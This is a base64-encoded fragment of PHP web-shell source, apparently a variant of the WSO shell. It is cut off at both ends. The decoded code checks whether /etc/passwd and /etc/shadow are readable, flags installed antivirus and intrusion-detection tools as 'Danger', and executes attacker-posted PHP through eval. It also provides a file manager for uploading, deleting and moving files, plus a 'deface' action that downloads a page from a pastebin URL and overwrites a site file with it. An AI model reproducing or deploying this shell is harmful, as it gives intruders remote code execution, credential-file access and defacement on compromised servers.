ID0gIlBvc3RncmVTUUwiOwogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdvY2lfY29ubmVjdCcpKQogICAgICAgICR0ZW1wW10gPSAiT3JhY2xlIjsKICAgIHNob3dTZWNQYXJhbSgnU3VwcG9ydGVkIGRhdGFiYXNlcycsIGltcGxvZGUoJywgJywgJHRlbXApKTsKICAgIGVjaG8gJzxicj4nOwogICAgCiAgICBpZiggJEdMT0JBTFNbJ29zJ10gPT0gJ25peCcgKSB7CiAgICAgICAgJHVzZXJmdWwgPSBhcnJheSgnZ2NjJywnbGNjJywnY2MnLCdsZCcsJ21ha2UnLCdwaHAnLCdwZXJsJywncHl0aG9uJywncnVieScsJ3RhcicsJ2d6aXAnLCdiemlwJywnYnppcDInLCduYycsJ2xvY2F0ZScsJ3N1aWRwZXJsJyk7CiAgICAgICAgJGRhbmdlciA9IGFycmF5KCdrYXYnLCdub2QzMicsJ2JkY29yZWQnLCd1dnNjYW4nLCdzYXYnLCdkcndlYmQnLCdjbGFtZCcsJ3JraHVudGVyJywnY2hrcm9vdGtpdCcsJ2lwdGFibGVzJywnaXBmdycsJ3RyaXB3aXJlJywnc2hpZWxkY2MnLCdwb3J0c2VudHJ5Jywnc25vcnQnLCdvc3NlYycsJ2xpZHNhZG0nLCd0Y3Bsb2RnJywnc3hpZCcsJ2xvZ2NoZWNrJywnbG9nd2F0Y2gnLCdzeXNtYXNrJywnem1ic2NhcCcsJ3Nhd21pbGwnLCd3b3Jtc2NhbicsJ25pbmphJyk7CiAgICAgICAgJGRvd25sb2FkZXJzID0gYXJyYXkoJ3dnZXQnLCdmZXRjaCcsJ2x5bngnLCdsaW5rcycsJ2N1cmwnLCdnZXQnLCdsd3AtbWlycm9yJyk7CiAgICAgICAgc2hvd1NlY1BhcmFtKCdSZWFkYWJsZSAvZXRjL3Bhc3N3ZCcsIEBpc19yZWFkYWJsZSgnL2V0Yy9wYXNzd2QnKT8ieWVzIDxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc1Rvb2xzXCIsIFwiL2V0Yy9cIiwgXCJwYXNzd2RcIiknPlt2aWV3XTwvYT4iOidubycpOwogICAgICAgIHNob3dTZWNQYXJhbSgnUmVhZGFibGUgL2V0Yy9zaGFkb3cnLCBAaXNfcmVhZGFibGUoJy9ldGMvc2hhZG93Jyk/InllcyA8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNUb29sc1wiLCBcImV0Y1wiLCBcInNoYWRvd1wiKSc+W3ZpZXddPC9hPiI6J25vJyk7CiAgICAgICAgc2hvd1NlY1BhcmFtKCdPUyB2ZXJzaW9uJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvcHJvYy92ZXJzaW9uJykpOwogICAgICAgIHNob3dTZWNQYXJhbSgnRGlzdHIgbmFtZScsIEBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9pc3N1ZS5uZXQnKSk7CiAgICAgICAgaWYoISRHTE9CQUxTWydzYWZlX21vZGUnXSkgewogICAgICAgICAgICBlY2hvICc8YnI+JzsKICAgICAgICAgICAgJHRlbXA9YXJyYXkoKTsKICAgICAgICAgICAgZm9yZWFjaCAoJHVzZXJmdWwgYXMgJGl0ZW0pCiAgICAgICAgICAgICAgICBpZih3aGljaCgkaXRlbSkpeyR0ZW1wW109JGl0ZW07fQogICAgICAgICAgICBzaG93U2VjUGFyYW0oJ1VzZXJmdWwnLCBpbXBsb2RlKCcsICcsJHRlbXApKTsKICAgICAgICAgICAgJHRlbXA9YXJyYXkoKTsKICAgICAgICAgICAgZm9yZWFjaCAoJGRhbmdlciBhcyAkaXRlbSkKICAgICAgICAgICAgICAgIGlmKHdoaWNoKCRpdGVtKSl7JHRlbXBbXT0kaXRlbTt9CiAgICAgICAgICAgIHNob3dTZWNQYXJhbSgnRGFuZ2VyJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7CiAgICAgICAgICAgICR0ZW1wPWFycmF5KCk7CiAgICAgICAgICAgIGZvcmVhY2ggKCRkb3dubG9hZGVycyBhcyAkaXRlbSkgCiAgICAgICAgICAgICAgICBpZih3aGljaCgkaXRlbSkpeyR0ZW1wW109JGl0ZW07fQogICAgICAgICAgICBzaG93U2VjUGFyYW0oJ0Rvd25sb2FkZXJzJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7CiAgICAgICAgICAgIGVjaG8gJzxici8+JzsKICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdIb3N0cycsIEBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9ob3N0cycpKTsKICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdIREQgc3BhY2UnLCBleCgnZGYgLWgnKSk7CiAgICAgICAgICAgIHNob3dTZWNQYXJhbSgnTW91bnQgb3B0aW9ucycsIEBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9mc3RhYicpKTsKICAgICAgICB9CiAgICB9IGVsc2UgewogICAgICAgIHNob3dTZWNQYXJhbSgnT1MgVmVyc2lvbicsZXgoJ3ZlcicpKTsgCiAgICAgICAgc2hvd1NlY1BhcmFtKCdBY2NvdW50IFNldHRpbmdzJyxleCgnbmV0IGFjY291bnRzJykpOyAKICAgICAgICBzaG93U2VjUGFyYW0oJ1VzZXIgQWNjb3VudHMnLGV4KCduZXQgdXNlcicpKTsKICAgIH0KICAgIGVjaG8gJzwvZGl2Pic7CiAgICBwcmludEZvb3RlcigpOwp9CgpmdW5jdGlvbiBhY3Rpb25QaHAoKSB7CiAgICBpZiggaXNzZXQoJF9QT1NUWydhamF4J10pICkgewogICAgICAgICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddID0gdHJ1ZTsKICAgICAgICBvYl9zdGFydCgpOwogICAgICAgIGV2YWwoJF9QT1NUWydwMSddKTsKICAgICAgICAkdGVtcCA9ICJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnUGhwT3V0cHV0Jykuc3R5bGUuZGlzcGxheT0nJztkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnUGhwT3V0cHV0JykuaW5uZXJIVE1MPSciLmFkZGNzbGFzaGVzKGh0bWxzcGVjaWFsY2hhcnMob2JfZ2V0X2NsZWFuKCkpLCJcblxyXHRcXCdcMCIpLiInO1xuIjsKICAgICAgICBlY2hvIHN0cmxlbigkdGVtcCksICJcbiIsICR0ZW1wOwogICAgICAgIGV4aXQ7IAogICAgfQogICAgcHJpbnRIZWFkZXIoKTsKICAgIGlmKCBpc3NldCgkX1BPU1RbJ3AyJ10pICYmICgkX1BPU1RbJ3AyJ10gPT0gJ2luZm8nKSApIHsKICAgICAgICBlY2hvICc8aDE+UEhQIGluZm88L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOwogICAgICAgIG9iX3N0YXJ0KCk7CiAgICAgICAgcGhwaW5mbygpOwogICAgICAgICR0bXAgPSBvYl9nZXRfY2xlYW4oKTsKICAgICAgICAkdG1wID0gcHJlZ19yZXBsYWNlKCchYm9keSB7Lip9IW1zaVUnLCcnLCR0bXApOwogICAgICAgICR0bXAgPSBwcmVnX3JlcGxhY2UoJyFhOlx3KyB7Lip9IW1zaVUnLCcnLCR0bXApOwogICAgICAgICR0bXAgPSBwcmVnX3JlcGxhY2UoJyFoMSFtc2lVJywnaDInLCR0bXApOwogICAgICAgICR0bXAgPSBwcmVnX3JlcGxhY2UoJyF0ZCwgdGggeyguKil9IW1zaVUnLCcuZSwgLnYsIC5oLCAuaCB0aCB7JDF9JywkdG1wKTsKICAgICAgICAkdG1wID0gcHJlZ19yZXBsYWNlKCchYm9keSwgdGQsIHRoLCBoMiwgaDIgey4qfSFtc2lVJywnJywkdG1wKTsKICAgICAgICBlY2hvICR0bXA7CiAgICAgICAgZWNobyAnPC9kaXY+PGJyPic7CiAgICB9CiAgICBpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10pKQogICAgICAgICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddID0gZmFsc2U7CiAgICAgICAgZWNobyAnPGgxPkV4ZWN1dGlvbiBQSFAtY29kZTwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pjxmb3JtIG5hbWU9cGYgbWV0aG9kPXBvc3Qgb25zdWJtaXQ9ImlmKHRoaXMuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCx0aGlzLmNvZGUudmFsdWUpO31lbHNle2cobnVsbCxudWxsLHRoaXMuY29kZS52YWx1ZSxcJ1wnKTt9cmV0dXJuIGZhbHNlOyI+PHRleHRhcmVhIG5hbWU9Y29kZSBjbGFzcz1iaWdhcmVhIGlkPVBocENvZGU+Jy4oIWVtcHR5KCRfUE9TVFsncDEnXSk/aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10pOicnKS4nPC90ZXh0YXJlYT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9RXZhbCBzdHlsZT0ibWFyZ2luLXRvcDo1cHgiPic7CiAgICBlY2hvICcgPGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hamF4IHZhbHVlPTEgJy4oQCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPydjaGVja2VkJzonJykuJz4gc2VuZCB1c2luZyBBSkFYPC9mb3JtPjxwcmUgaWQ9UGhwT3V0cHV0IHN0eWxlPSInLihlbXB0eSgkX1BPU1RbJ3AxJ10pPydkaXNwbGF5Om5vbmU7JzonJykuJ21hcmdpbi10b3A6NXB4OyIgY2xhc3M9bWwxPic7CiAgICBpZighZW1wdHkoJF9QT1NUWydwMSddKSkgewogICAgICAgIG9iX3N0YXJ0KCk7CiAgICAgICAgZXZhbCgkX1BPU1RbJ3AxJ10pOwogICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSk7CiAgICB9CiAgICBlY2hvICc8L3ByZT48L2Rpdj4nOwogICAgcHJpbnRGb290ZXIoKTsKfQoKZnVuY3Rpb24gYWN0aW9uRmlsZXNNYW4oKSB7CiAgICBwcmludEhlYWRlcigpOwogICAgZWNobyAnPGgxPkZpbGUgbWFuYWdlcjwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7CiAgICBpZihpc3NldCgkX1BPU1RbJ3AxJ10pICYmICRfUE9TVFsncDEnXSE9J2RlZmFjZScpIHsKICAgICAgICBzd2l0Y2goJF9QT1NUWydwMSddKSB7CiAgICAgICAgICAgIGNhc2UgJ3VwbG9hZEZpbGUnOgogICAgICAgICAgICAgICAgaWYoIUBtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1snZiddWyd0bXBfbmFtZSddLCAkX0ZJTEVTWydmJ11bJ25hbWUnXSkpCiAgICAgICAgICAgICAgICAgICAgZWNobyAiQ2FuJ3QgdXBsb2FkIGZpbGUhIjsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ21rZGlyJzoKICAgICAgICAgICAgICAgIGlmKCFAbWtkaXIoJF9QT1NUWydwMiddKSkKICAgICAgICAgICAgICAgICAgICBlY2hvICJDYW4ndCBjcmVhdGUgbmV3IGRpciI7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnZGVsZXRlJzoKICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGRlbGV0ZURpcigkcGF0aCkgewogICAgICAgICAgICAgICAgICAgICRwYXRoID0gKHN1YnN0cigkcGF0aCwtMSk9PScvJykgPyAkcGF0aDokcGF0aC4nLyc7CiAgICAgICAgICAgICAgICAgICAgJGRoICA9IG9wZW5kaXIoJHBhdGgpOwogICAgICAgICAgICAgICAgICAgIHdoaWxlICggKCRpdGVtID0gcmVhZGRpcigkZGgpICkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRpdGVtID0gJHBhdGguJGl0ZW07CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICggKGJhc2VuYW1lKCRpdGVtKSA9PSAiLi4iKSB8fCAoYmFzZW5hbWUoJGl0ZW0pID09ICIuIikgKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgICAgICR0eXBlID0gZmlsZXR5cGUoJGl0ZW0pOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHR5cGUgPT0gImRpciIpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkZWxldGVEaXIoJGl0ZW0pOwogICAgICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAdW5saW5rKCRpdGVtKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgY2xvc2VkaXIoJGRoKTsKICAgICAgICAgICAgICAgICAgICBybWRpcigkcGF0aCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZihpc19hcnJheShAJF9QT1NUWydmJ10pKQogICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJF9QT1NUWydmJ10gYXMgJGYpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGYgPSB1cmxkZWNvZGUoJGYpOwogICAgICAgICAgICAgICAgICAgICAgICBpZihpc19kaXIoJGYpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZGVsZXRlRGlyKCRmKTsKICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQHVubGluaygkZik7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ3Bhc3RlJzoKICAgICAgICAgICAgICAgIGlmKCRfU0VTU0lPTlsnYWN0J10gPT0gJ2NvcHknKSB7CiAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gY29weV9wYXN0ZSgkYywkcywkZCl7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzX2RpcigkYy4kcykpewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbWtkaXIoJGQuJHMpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGggPSBvcGVuZGlyKCRjLiRzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlICgoJGYgPSByZWFkZGlyKCRoKSkgIT09IGZhbHNlKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgoJGYgIT0gIi4iKSBhbmQgKCRmICE9ICIuLiIpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvcHlfcGFzdGUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYoaXNfZmlsZSgkYy4kcykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBjb3B5KCRjLiRzLCAkZC4kcyk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkX1NFU1NJT05bJ2YnXSBhcyAkZikKICAgICAgICAgICAgICAgICAgICAgICAgY29weV9wYXN0ZSgkX1NFU1NJT05bJ2N3ZCddLCRmLCAkR0xPQkFMU1snY3dkJ10pOyAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICB9IGVsc2VpZigkX1NFU1NJT05bJ2FjdCddID09ICdtb3ZlJykgewogICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIG1vdmVfcGFzdGUoJGMsJHMsJGQpewogICAgICAgICAgICAgICAgICAgICAgICBpZihpc19kaXIoJGMuJHMpKXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1rZGlyKCRkLiRzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoID0gb3BlbmRpcigkYy4kcyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSAoKCRmID0gcmVhZGRpcigkaCkpICE9PSBmYWxzZSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiLi4iKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb3B5X3Bhc3RlKCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmKGlzX2ZpbGUoJGMuJHMpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAY29weSgkYy4kcywgJGQuJHMpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJF9TRVNTSU9OWydmJ10gYXMgJGYpCiAgICAgICAgICAgICAgICAgICAgICAgIEByZW5hbWUoJF9TRVNTSU9OWydjd2QnXS4kZiwgJEdMT0JBTFNbJ2N3ZCddLiRmKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIHVuc2V0KCRfU0VTU0lPTlsnZiddKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkgJiYgKCgkX1BPU1RbJ3AxJ10gPT0gJ2NvcHknKXx8KCRfUE9TVFsncDEnXSA9PSAnbW92ZScpKSApIHsKICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2FjdCddID0gQCRfUE9TVFsncDEnXTsKICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2YnXSA9IEAkX1BPU1RbJ2YnXTsKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRfU0VTU0lPTlsnZiddIGFzICRrID0+ICRmKQogICAgICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2YnXVska10gPSB1cmxkZWNvZGUoJGYpOwogICAgICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnY3dkJ10gPSBAJF9QT1NUWydjJ107CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICB9CiAgICAgICAgZWNobyAnPHNjcmlwdD5kb2N1bWVudC5tZi5wMS52YWx1ZT0iIjtkb2N1bWVudC5tZi5wMi52YWx1ZT0iIjs8L3NjcmlwdD4nOwogICAgfQogICAgaWYoaXNzZXQoJF9QT1NUWydwMSddKSAmJiAkX1BPU1RbJ3AxJ109PSdkZWZhY2UnKSB7CiAgICAgICAgJGRlZiA9IGZpbGVfZ2V0X2NvbnRlbnRzKCdodHRwOi8vcGFzdGViaW4uY29tL2Rvd25sb2FkLnBocD9pPUZiNXpxZkUxJyk7CiAgICAgICAgZmlsZV9wdXRfY29udGVudHMoJF9QT1NUWydjJ10uJF9QT1NUWydwMiddLCRkZWYpOwogICAgfQogICAgJGRpckNvbnRlbnQgPSBAc2NhbmRpcihpc3NldCgkX1BPU1RbJ2MnXSk/JF9QT1NUWydjJ106JEdMT0JBTFNbJ2N3ZCddKTsKICAgIGlmKCRkaXJDb250ZW50ID09PSBmYWxzZSkgeyAgICBlY2hvICdDYW5cJ3Qgb3BlbiB0aGlzIGZvbGRlciEnOyByZXR1cm47ICAgIH0KICAgIGdsb2JhbCAkc29ydDsKICAgICRzb3J0ID0gYXJyYXkoJ25hbWUnLCAxKTsKICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7CiAgICAgICAgaWYocHJlZ19tYXRjaCgnIXNfKFtBLXpdKylfKFxkezF9KSEnLCAkX1BPU1RbJ3AxJ10sICRtYXRjaCkpCiAgICAgICAgICAgICRzb3J0ID0gYXJyYXkoJG1hdGNoWzFdLCAoaW50KSRtYXRjaFsyXSk7CiAgICB9CiAgICBlY2hvICc8c2NyaXB0PgogICAgICAgIGZ1bmN0aW9uIHNhKCkgewogICAgICAgICAgICBmb3IoaT0wO2k8ZG9jdW1lbnQuZmlsZXMuZWxlbWVudHMubGVuZ3RoO2krKykKICAgICAgICAgICAgaWYoZG9jdW1lbnQuZmlsZXMuZWxlbWVudHNbaV0udHlwZSA9PSBcJ2NoZWNrYm94XCcpCiAgICAgICAgICAgICAgICBkb2N1bWVudC5maWxlcy5lbGVtZW50c1tpXS5jaGVja2VkID0gZG9jdW1lbnQuZmlsZXMuZWxlbWVudHNbMF0uY2hlY2tlZDsKICAgICAgICB9CiAgICAgICAgPC9zY3JpcHQ+CiAgICAgICAgPHRhYmxlIHdpZHRoPVwnMTAwJVwnIGNsYXNzPVwnbWFpblwnIGNlbGxzcGFjaW5nPVwnMFwnIGNlbGxwYWRkaW5nPVwnMlwnPgogICAgICAgIDxmb3JtIG5hbWU9ZmlsZXMgbWV0aG9kPXBvc3Q+JzsKICAgIGVjaG8gIjx0cj48dGggd2lkdGg9JzEzcHgnPjxpbnB1dCB0eXBlPWNoZWNrYm94IG9uY2xpY2s9J3NhKCknIGNsYXNzPWNoa2J4PjwvdGg+PHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX25hbWVfIi4oJHNvcnRbMV0/MDoxKS4iXCIpJz5OYW1lPC9hPjwvdGg+PHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX3NpemVfIi4oJHNvcnRbMV0/MDoxKS4iXCIpJz5TaXplPC9hPjwvdGg+PHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX21vZGlmeV8iLigkc29ydFsxXT8wOjEpLiJcIiknPk1vZGlmeTwvYT48L3RoPjx0aD5Pd25lci9Hcm91cDwvdGg+PHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX3Blcm1zXyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+UGVybWlzc2lvbnM8L2E+PC90aD48dGg+QWN0aW9uczwvdGg+PC90cj4iOwogICAgJGRpcnMgPSAkZmlsZXMgPSAkbGlua3MgPSBhcnJheSgpOwogICAgJG4gPSBjb3VudCgkZGlyQ29udGVudCk7CiAgICBmb3IoJGk9MDskaTwkbjskaSsrKSB7CiAgICAgICAgJG93ID0gQHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJGRpckNvbnRlbnRbJGldKSk7CiAgICAgICAgJGdyID0gQHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGRpckNvbnRlbnRbJGldKSk7CiAgICAgICAgJHRtcCA9IGFycmF5KCduYW1lJyA9PiAkZGlyQ29udGVudFskaV0sCiAgICAgICAgICAgICAgICAgICAgICdwYXRoJyA9PiAkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldLAogICAgICAgICAgICAgICAgICAgICAnbW9kaWZ5JyA9PiBAZGF0ZSgnWS1tLWQgSDppOnMnLEBmaWxlbXRpbWUoJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSkpLAogICAgICAgICAgICAgICAgICAgICAncGVybXMnID0+IHZpZXdQZXJtc0NvbG9yKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pLAogICAgICAgICAgICAgICAgICAgICAnc2l6ZScgPT4gQGZpbGVzaXplKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pLAogICAgICAgICAgICAgICAgICAgICAnb3duZXInID0+ICRvd1snbmFtZSddPyRvd1snbmFtZSddOkBmaWxlb3duZXIoJGRpckNvbnRlbnRbJGldKSwKICAgICAgICAgICAgICAgICAgICAgJ2dyb3VwJyA9PiAkZ3JbJ25hbWUnXT8kZ3JbJ25hbWUnXTpAZmlsZWdyb3VwKCRkaXJDb250ZW50WyRpXSkKICAgICAgICAgICAgICAgICAgICApOwogICAgICAgIGlmKEBpc19maWxlKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pKQogICAgICAgICAgICAkZmlsZXNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZmlsZScpKTsKICAgICAgICBlbHNlaWYoQGlzX2xpbmsoJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSkpCiAgICAgICAgICAgICRsaW5rc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdsaW5rJykpOwogICAgICAgIGVsc2VpZihAaXNfZGlyKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pJiYgKCRkaXJDb250ZW50WyRpXSAhPSAiLiIpKQogICAgICAgICAgICAkZGlyc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdkaXInKSk7CiAgICB9CiAgICAkR0xPQkFMU1snc29ydCddID0gJHNvcnQ7CiAgICBmdW5jdGlvbiBjbXAoJGEsICRiKSB7CiAgICAgICAgaWYoJEdMT0JBTFNbJ3NvcnQnXVswXSAhPSAnc2l6ZScpCiAgICAgICAgICAgIHJldHVybiBzdHJjbXAoJGFbJEdMT0JBTFNbJ3NvcnQnXVswXV0sICRiWyRHTE9CQUxTWydzb3J0J11bMF1dKSooJEdMT0JBTFNbJ3NvcnQnXVsxXT8xOi0xKTsKICAgICAgICBlbHNlCiAgICAgICAgICAgIHJldHVybiAoKCRhWydzaXplJ10gPCAkYlsnc2l6ZSddKSA/IC0xIDogMSkqKCRHTE9CQUxTWydzb3J0J11bMV0/MTotMSk7CiAgICB9CiAgICB1c29ydCgkZmlsZXMsICJjbXAiKTsKICAgIHVzb3J0KCRkaXJzLCAiY21wIik7CiAgICB1c29ydCgkbGlua3MsICJjbXAiKTsKICAgICRmaWxlcyA9IGFycmF5X21lcmdlKCRkaXJzLCAkbGlua3MsICRmaWxlcyk7CiAgICAkbCA9IDA7CiAgICBmb3JlYWNoKCRmaWxlcyBhcyAkZikgewogICAgICAgIGVjaG8gJzx0cicuKCRsPycgY2xhc3M9bDEnOicnKS4nPjx0ZD48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPSJmW10iIHZhbHVlPSInLnVybGVuY29kZSgkZlsnbmFtZSddKS4nIiBjbGFzcz1jaGtieD48L3RkPjx0ZD48YSBocmVmPSMgb25jbGljaz0iJy4oKCRmWyd0eXBlJ109PSdmaWxlJyk/J2coXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCd2aWV3XCcpIj4nLmh0bWxzcGVjaWFsY2hhcnMoJGZbJ25hbWUnXSk6J2coXCdGaWxlc01hblwnLFwnJy4kZlsncGF0aCddLidcJyk7Ij48Yj5bICcuaHRtbHNwZWNpYWxjaGFycygkZlsnbmFtZSddKS4nIF08L2I+JykuJzwvYT48L3RkPjx0ZD4nLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT92aWV3U2l6ZSgkZlsnc2l6ZSddKTokZlsndHlwZSddKS4nPC90ZD48dGQ+Jy4kZlsnbW9kaWZ5J10uJzwvdGQ+PHRkPicuJGZbJ293bmVyJ10uJy8nLiRmWydncm91cCddLic8L3RkPjx0ZD48YSBocmVmPSMgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLFwnY2htb2RcJykiPicuJGZbJ3Blcm1zJ10KICAgICAgICAgICAgLic8L3RkPjx0ZD48YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwncmVuYW1lXCcpIj5SPC9hPiA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwndG91Y2hcJykiPlQ8L2E+Jy4oKCRmWyd0eXBlJ109PSdmaWxlJyk/JyA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwnZWRpdFwnKSI+RTwvYT4gPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ2Rvd25sb2FkXCcpIj5EPC9hPic6JycpLic8L3RkPjwvdHI+JzsKICAgICAgICAkbCA9ICRsPzA6MTsKICAgIH0KICAgIGVjaG8gJzx0cj48dGQgY29sc3Bhbj01PgogICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT1cJ0ZpbGVzTWFuXCc+CiAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4nIj4KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9IicuKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykuJyI+CiAgICA8c2VsZWN0IG5hbWU9XCdwMVwnPjxvcHRpb24gdmFsdWU9XCdjb3B5XCc+Q29weTwvb3B0aW9uPj